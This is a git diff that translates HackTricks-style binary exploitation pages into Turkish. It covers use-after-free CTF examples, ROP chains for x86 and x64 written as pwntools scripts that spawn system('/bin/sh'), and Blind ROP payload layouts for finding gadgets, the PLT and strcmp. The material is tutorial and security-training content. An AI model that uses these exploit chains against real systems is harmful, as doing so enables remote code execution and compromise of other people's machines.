- Daha sonra 20 baytlık bir parça talep ederseniz, ayırıcı fastbin'in başından en son serbest bırakılan parçayı döndürecektir.
```c
char *a = malloc(20);
char *b = malloc(20);
@ -48,17 +45,16 @@ b = malloc(20); // c
c = malloc(20); // b
d = malloc(20); // a
```
## Other References & Examples
## Diğer Referanslar & Örnekler
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
- ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check**
- ARM64. Kullanımdan sonra serbest bırakma: Bir kullanıcı nesnesi oluşturun, serbest bırakın, serbest bırakılan parçayı alan bir nesne oluşturun ve buna yazma izni verin, **öncekinden user->password konumunu üzerine yazarak**. Kullanıcıyı yeniden kullanarak **şifre kontrolünü atlayın**.
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
- The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\<size>) with the contents of the note.
- The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache).
- Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer.
- Program notlar oluşturulmasına izin verir. Bir not, bir malloc(8) içinde not bilgilerini (çağrılabilecek bir işlevin işaretçisi ile) ve notun içeriği ile başka bir malloc(\<size>) işaretçisini içerecektir.
- Saldırı, not bilgisi boyutundan daha büyük malloc içeriklerine sahip 2 not (note0 ve note1) oluşturmak ve ardından bunları serbest bırakmak olacaktır, böylece hızlı kutuya (veya tcache) gireceklerdir.
- Ardından, içerik boyutu 8 olan başka bir not (note2) oluşturun. İçerik, işlev işaretçisini win işlevine işaret edecek şekilde değiştirebileceğimiz note1'de olacak ve ardından Kullanımdan Sonra Serbest Bırakma ile note1'i yeni işlev işaretçisini çağırmak için kullanın.
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
- It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag.
- Bazı bellek ayırmak, istenen değeri yazmak, serbest bırakmak, yeniden ayırmak ve önceki veriler hala orada olduğu için, parçadaki yeni beklenen yapı ile işlenmesi mümkün hale gelir, bu da değeri ayarlayıp bayrağı almayı sağlar.
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it.
- Bu durumda, belirli bir parçanın içine 4 yazmak gereklidir, bu da tahsis edilen ilk parçadır (hepsini zorla serbest bıraktıktan sonra bile). Her yeni tahsis edilen parçanın dizideki numarası saklanır. Ardından, 4 parça (+ başlangıçta tahsis edilen) ayırın, sonuncusu içinde 4 olacak, bunları serbest bırakın ve ilk parçanın yeniden tahsis edilmesini zorlayın, bu da içinde 4 olan son serbest bırakılan parçayı kullanacaktır.

138
src/binary-exploitation/rop-return-oriented-programing/README.md
View File

@ -2,45 +2,44 @@
{{#include ../../banners/hacktricks-training.md}}
## **Basic Information**
## **Temel Bilgiler**
**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections.
**Return-Oriented Programming (ROP)**, **No-Execute (NX)** veya **Data Execution Prevention (DEP)** gibi güvenlik önlemlerini aşmak için kullanılan ileri düzey bir istismar tekniğidir. Bir saldırgan, shellcode enjekte etmek ve çalıştırmak yerine, ikili dosyada veya yüklenmiş kütüphanelerde zaten mevcut olan kod parçalarını, yani **"gadgets"** kullanır. Her gadget genellikle bir `ret` talimatı ile biter ve kayıtlar arasında veri taşımak veya aritmetik işlemler yapmak gibi küçük bir işlem gerçekleştirir. Bu gadget'ları bir araya getirerek, bir saldırgan keyfi işlemler gerçekleştirmek için bir yük oluşturabilir ve böylece NX/DEP korumalarını etkili bir şekilde aşabilir.
### How ROP Works
### ROP Nasıl Çalışır
1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack.
2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations.
3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets.
1. **Kontrol Akışını Ele Geçirme**: İlk olarak, bir saldırgan bir programın kontrol akışını ele geçirmelidir; bu genellikle bir tampon taşması istismarı ile yığın üzerindeki kaydedilmiş dönüş adresini geçersiz kılmakla yapılır.
2. **Gadget Zincirleme**: Saldırgan daha sonra istenen eylemleri gerçekleştirmek için gadget'ları dikkatlice seçer ve zincirler. Bu, bir fonksiyon çağrısı için argümanları ayarlamayı, fonksiyonu çağırmayı (örneğin, `system("/bin/sh")`) ve gerekli temizlik veya ek işlemleri yönetmeyi içerebilir.
3. **Yükün Çalıştırılması**: Zayıf fonksiyon döndüğünde, meşru bir konuma dönmek yerine gadget zincirini çalıştırmaya başlar.
### Tools
### Araçlar
Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
Genellikle, gadget'lar [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) veya doğrudan **pwntools**'tan ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) bulunabilir.
## ROP Chain in x86 Example
## x86 Örneğinde ROP Zinciri
### **x86 (32-bit) Calling conventions**
### **x86 (32-bit) Çağrı Konvansiyonları**
- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.**
- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack.
- **cdecl**: Çağrıyı yapan yığını temizler. Fonksiyon argümanları yığına ters sırayla (sağdan sola) itilir. **Argümanlar yığına sağdan sola itilir.**
- **stdcall**: cdecl'e benzer, ancak çağrılan fonksiyon yığını temizlemekten sorumludur.
### **Finding Gadgets**
### **Gadget Bulma**
First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are:
Öncelikle, ikili dosya veya yüklenmiş kütüphaneler içinde gerekli gadget'ları tanımladığımızı varsayalım. İlgilendiğimiz gadget'lar şunlardır:
- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`.
- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`.
- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**.
- Additionally, we have the address of the `system()` function available.
- `pop eax; ret`: Bu gadget, yığının en üstündeki değeri `EAX` kaydına alır ve ardından döner, böylece `EAX`'ı kontrol etmemizi sağlar.
- `pop ebx; ret`: Yukarıdaki gibi, ancak `EBX` kaydı için, `EBX` üzerinde kontrol sağlar.
- `mov [ebx], eax; ret`: `EAX`'taki değeri `EBX` tarafından işaret edilen bellek konumuna taşır ve ardından döner. Bu genellikle **write-what-where gadget** olarak adlandırılır.
- Ayrıca, `system()` fonksiyonunun adresine de sahibiz.
### **ROP Chain**
### **ROP Zinciri**
Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with:
1. A `ret` instruction for alignment purposes (optional)
2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/))
3. Placeholder for the return address from `system()`
4. `"/bin/sh"` string address (parameter for system function)
**pwntools** kullanarak, `system('/bin/sh')`'yi çalıştırmayı hedefleyerek ROP zinciri yürütmesi için yığını aşağıdaki gibi hazırlarız, zincirin nasıl başladığına dikkat edin:
1. Hizalama amaçlı bir `ret` talimatı (isteğe bağlı)
2. `system` fonksiyonunun adresi (ASLR'nin devre dışı bırakıldığını ve libc'nin bilindiğini varsayarak, daha fazla bilgi için [**Ret2lib**](ret2lib/))
3. `system()`'den dönüş adresi için yer tutucu
4. `"/bin/sh"` dizesinin adresi (system fonksiyonu için parametre)
```python
from pwn import *
@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
@ -74,28 +73,26 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
## ROP Zinciri x64 Örneği
## ROP Chain in x64 Example
### **x64 (64-bit) Çağrı Konvansiyonları**
### **x64 (64-bit) Calling conventions**
- **System V AMD64 ABI** çağrı konvansiyonunu Unix benzeri sistemlerde kullanır; burada **ilk altı tam sayı veya işaretçi argümanı `RDI`, `RSI`, `RDX`, `RCX`, `R8` ve `R9`** kayıtlarında iletilir. Ek argümanlar yığında iletilir. Dönüş değeri `RAX`'a yerleştirilir.
- **Windows x64** çağrı konvansiyonu, ilk dört tam sayı veya işaretçi argümanı için `RCX`, `RDX`, `R8` ve `R9` kullanır; ek argümanlar yığında iletilir. Dönüş değeri `RAX`'a yerleştirilir.
- **Kayıtlar**: 64-bit kayıtlar `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` ve `R8`'den `R15`'e kadar içerir.
- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`.
- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`.
- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`.
#### **Gadget'ları Bulma**
#### **Finding Gadgets**
Amacımız için, **RDI** kaydını ayarlamamıza ( **"/bin/sh"** dizesini **system()**'e argüman olarak iletmek için) ve ardından **system()** fonksiyonunu çağırmamıza olanak tanıyan gadget'lara odaklanalım. Aşağıdaki gadget'ları belirlediğimizi varsayıyoruz:
For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets:
- **pop rdi; ret**: Yığının en üstündeki değeri **RDI**'ye alır ve ardından döner. **system()** için argümanımızı ayarlamak için gereklidir.
- **ret**: Basit bir dönüş, bazı senaryolarda yığın hizalaması için faydalıdır.
- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**.
- **ret**: A simple return, useful for stack alignment in some scenarios.
Ve **system()** fonksiyonunun adresini bildiğimizi biliyoruz.
And we know the address of the **system()** function.
### **ROP Chain**
Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**:
### **ROP Zinciri**
Aşağıda, **pwntools** kullanarak **system('/bin/sh')**'i **x64** üzerinde çalıştırmayı hedefleyen bir ROP zinciri kurma ve yürütme örneği bulunmaktadır:
```python
from pwn import *
@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
@ -130,66 +127,65 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
Bu örnekte:
In this example:
- **`pop rdi; ret`** gadget'ını **`RDI`**'yi **`"/bin/sh"`** adresine ayarlamak için kullanıyoruz.
- **`RDI`**'yi ayarladıktan sonra doğrudan **`system()`**'e atlıyoruz, zincirde **system()**'in adresi ile.
- Hedef ortamın gerektirmesi durumunda hizalama için **`ret_gadget`** kullanılır, bu da **x64**'te işlevleri çağırmadan önce doğru yığın hizalamasını sağlamak için daha yaygındır.
- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**.
- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain.
- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions.
### Yığın Hizalaması
### Stack Alignment
**x86-64 ABI** bir **call instruction** yürütüldüğünde **yığının 16 bayt hizalı** olmasını garanti eder. **LIBC**, performansı optimize etmek için **SSE instructions** (örneğin **movaps**) kullanır ve bu hizalamayı gerektirir. Yığın düzgün hizalanmadığında (yani **RSP** 16'nın katı değilse), **system** gibi işlevlere yapılan çağrılar bir **ROP chain**'inde başarısız olur. Bunu düzeltmek için, ROP zincirinizde **system**'i çağırmadan önce basitçe bir **ret gadget** ekleyin.
**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain.
## x86 vs x64 main difference
## x86 ile x64 arasındaki ana fark
> [!TIP]
> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP).
> **x64 ilk birkaç argüman için register'lar kullandığından**, genellikle basit işlev çağrıları için x86'dan daha az gadget gerektirir, ancak doğru gadget'ları bulmak ve zincirlemek, register sayısının artması ve daha büyük adres alanı nedeniyle daha karmaşık olabilir. **x64** mimarisindeki artan register sayısı ve daha büyük adres alanı, özellikle Return-Oriented Programming (ROP) bağlamında istismar geliştirme için hem fırsatlar hem de zorluklar sunar.
## ROP chain in ARM64 Example
## ARM64 Örneğinde ROP zinciri
### **ARM64 Basics & Calling conventions**
### **ARM64 Temelleri ve Çağrı Konvansiyonları**
Check the following page for this information:
Bu bilgi için aşağıdaki sayfayı kontrol edin:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Protections Against ROP
## ROP'a Karşı Koruma
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain
- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Bu korumalar, gadget'ların adreslerinin yürütme sırasında değişmesi nedeniyle ROP kullanımını zorlaştırır.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Bir BOF durumunda, ROP zincirini kötüye kullanmak için dönüş işaretçilerini yazmak için yığın kanaryasını atlatmak gerekir.
- **Gadget Eksikliği**: Yeterli gadget yoksa bir ROP zinciri oluşturmak mümkün olmayacaktır.
## ROP based techniques
## ROP Tabanlı Teknikler
Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed:
ROP'un, keyfi kod yürütmek için sadece bir teknik olduğunu unutmayın. ROP'a dayalı olarak birçok Ret2XXX tekniği geliştirilmiştir:
- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`.
- **Ret2lib**: ROP kullanarak, yüklenmiş bir kütüphaneden keyfi işlevleri keyfi parametrelerle çağırmak (genellikle `system('/bin/sh')` gibi).
{{#ref}}
ret2lib/
{{#endref}}
- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands.
- **Ret2Syscall**: ROP kullanarak bir syscall'a, örneğin `execve`, çağrı hazırlamak ve keyfi komutlar yürütmek.
{{#ref}}
rop-syscall-execv/
{{#endref}}
- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP).
- **EBP2Ret & EBP Zincirleme**: İlki akışı kontrol etmek için EIP yerine EBP'yi kötüye kullanacak ve ikincisi Ret2lib'e benzer ancak bu durumda akış esas olarak EBP adresleri ile kontrol edilir (ancak EIP'yi kontrol etmek de gereklidir).
{{#ref}}
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
{{#endref}}
## Other Examples & References
## Diğer Örnekler ve Referanslar
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
- 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag
- 64 bit, Pie ve nx etkin, kanaryasız, RIP'i yalnızca yığındaki bir sonraki adrese geri dönmek amacıyla bir `vsyscall` adresi ile yazma
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
- arm64, ASLR yok, yığını çalıştırılabilir hale getirmek ve yığında shellcode'a atlamak için ROP gadget
{{#include ../../banners/hacktricks-training.md}}

118
src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
View File

@ -2,123 +2,123 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\
This attack is based on the following scenario:
Bu saldırının amacı, **savunmasız ikili hakkında herhangi bir bilgi olmadan bir ROP'u kötüye kullanabilmektir**.\
Bu saldırı aşağıdaki senaryoya dayanmaktadır:
- A stack vulnerability and knowledge of how to trigger it.
- A server application that restarts after a crash.
- Bir yığın zafiyeti ve bunu tetikleme bilgisi.
- Çöktükten sonra yeniden başlatılan bir sunucu uygulaması.
## Attack
## Saldırı
### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected
### **1. Savunmasız ofseti bul** sunucu arızası tespit edilene kadar bir karakter daha göndererek
### **2. Brute-force canary** to leak it
### **2. Canary'yi brute-force ile bul**
### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them
### **3. Yığın içindeki saklanan RBP ve RIP adreslerini brute-force ile bul**
You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
Bu süreçler hakkında daha fazla bilgi bulabilirsiniz [burada (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) ve [burada (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
### **4. Find the stop gadget**
### **4. Durdurma gadget'ını bul**
This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed
Bu gadget, ROP gadget'ı tarafından ilginç bir şeyin çalıştırıldığını doğrulamayı sağlar çünkü yürütme çökmez. Genellikle, bu gadget **yürütmeyi durduracak** bir şeydir ve belirli bir ROP gadget'ının çalıştırıldığını doğrulamak için ROP zincirinin sonunda yer alır.
### **5. Find BROP gadget**
### **5. BROP gadget'ını bul**
This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**:
Bu teknik [**ret2csu**](ret2csu.md) gadget'ını kullanır. Bunun nedeni, bu gadget'a bazı talimatların ortasında erişirseniz **`rsi`** ve **`rdi`**'yi kontrol eden gadget'lar elde etmenizdir:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
These would be the gadgets:
Bunlar gadget'lar olacaktır:
- `pop rsi; pop r15; ret`
- `pop rdi; ret`
Notice how with those gadgets it's possible to **control 2 arguments** of a function to call.
Bu gadget'lar ile bir fonksiyonun **2 argümanını kontrol etmenin** mümkün olduğunu unutmayın.
Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like:
Ayrıca, ret2csu gadget'ının **çok benzersiz bir imzası** olduğunu unutmayın çünkü yığından 6 kayıt alacak. Bu nedenle, şöyle bir zincir gönderilir:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address.
Eğer **STOP çalıştırılırsa**, bu temelde yığından 6 kayıt alan bir **adresin kullanıldığı** anlamına gelir. Ya da kullanılan adres de bir STOP adresiydi.
In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers:
Bu son seçeneği **kaldırmak için** aşağıdaki gibi yeni bir zincir çalıştırılır ve önceki zincirin 6 kayıt aldığını doğrulamak için STOP gadget'ını çalıştırmamalıdır:
`'A' * offset + canary + rbp + ADDR`
Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**.
ret2csu gadget'ının adresini bilerek, **`rsi` ve `rdi`'yi kontrol eden gadget'ların adresini çıkarmak** mümkündür.
### 6. Find PLT
### 6. PLT'yi bul
The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed.
PLT tablosu 0x400000 adresinden veya yığından **sızdırılan RIP adresinden** (eğer **PIE** kullanılıyorsa) aranabilir. Tablo **girişleri** **16B** (0x10B) ile **ayrılmıştır** ve bir fonksiyon çağrıldığında sunucu çökmez, hatta argümanlar doğru olmasa bile. Ayrıca, bir girişin adresini kontrol etmek **PLT + 6B** ile de çökmez çünkü bu ilk yürütülen koddur.
Therefore, it's possible to find the PLT table checking the following behaviours:
Bu nedenle, PLT tablosunu aşağıdaki davranışları kontrol ederek bulmak mümkündür:
- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash
- `'A' * offset + canary + rbp + ADDR + STOP` -> çökme yok
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> çökme yok
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> çökme yok
### 7. Finding strcmp
### 7. strcmp bulma
The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program.
**`strcmp`** fonksiyonu **`rdx`** kaydını karşılaştırılan stringin uzunluğuna ayarlar. **`rdx`**'nin **üçüncü argüman** olduğunu ve daha sonra programı sızdırmak için **0'dan büyük** olması gerektiğini unutmayın.
It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions:
**`strcmp`**'nin PLT'deki konumunu, artık fonksiyonların ilk 2 argümanını kontrol edebildiğimiz gerçeğine dayanarak bulmak mümkündür:
- strcmp(\<non read addr>, \<non read addr>) -> crash
- strcmp(\<non read addr>, \<read addr>) -> crash
- strcmp(\<read addr>, \<non read addr>) -> crash
- strcmp(\<read addr>, \<read addr>) -> no crash
- strcmp(\<okunmayan addr>, \<okunmayan addr>) -> çökme
- strcmp(\<okunmayan addr>, \<okunan addr>) -> çökme
- strcmp(\<okunan addr>, \<okunmayan addr>) -> çökme
- strcmp(\<okunan addr>, \<okunan addr>) -> çökme yok
It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one:
Bunu, PLT tablosundaki her girişi çağırarak veya **PLT yavaş yolu** kullanarak kontrol edebiliriz; bu, temelde **PLT tablosundaki bir girişi + 0xb** (bu **`dlresolve`**'a çağrıda bulunur) çağırmak ve ardından yığında **sorgulamak istediğiniz giriş numarasını** (sıfırdan başlayarak) eklemektir:
- strcmp(\<non read addr>, \<read addr>) -> crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash
- strcmp(\<read addr>, \<non read addr>) -> crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<read addr>, \<read addr>) -> no crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<okunmayan addr>, \<okunan addr>) -> çökme
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Çökecek
- strcmp(\<okunan addr>, \<okunmayan addr>) -> çökme
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<okunan addr>, \<okunan addr>) -> çökme yok
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
Remember that:
Unutmayın ki:
- BROP + 0x7 point to **`pop RSI; pop R15; ret;`**
- BROP + 0x9 point to **`pop RDI; ret;`**
- PLT + 0xb point to a call to **dl_resolve**.
- BROP + 0x7 **`pop RSI; pop R15; ret;`**'ye işaret eder
- BROP + 0x9 **`pop RDI; ret;`**'ye işaret eder
- PLT + 0xb **dl_resolve**'a bir çağrıya işaret eder.
Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0.
`strcmp`'yi bulduktan sonra, **`rdx`**'yi 0'dan büyük bir değere ayarlamak mümkündür.
> [!TIP]
> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary.
> Genellikle `rdx`'nin zaten 0'dan büyük bir değeri barındıracağını unutmayın, bu nedenle bu adım gerekli olmayabilir.
### 8. Finding Write or equivalent
### 8. Write veya eşdeğerini bulma
Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.**
Son olarak, ikiliyi sızdırmak için verileri dışarı aktaran bir gadget'a ihtiyaç vardır. Ve bu noktada **2 argümanı kontrol edebiliriz ve `rdx`'yi 0'dan büyük ayarlayabiliriz.**
There are 3 common funtions taht could be abused for this:
Bunu kötüye kullanmak için 3 yaygın fonksiyon vardır:
- `puts(data)`
- `dprintf(fd, data)`
- `write(fd, data, len(data)`
However, the original paper only mentions the **`write`** one, so lets talk about it:
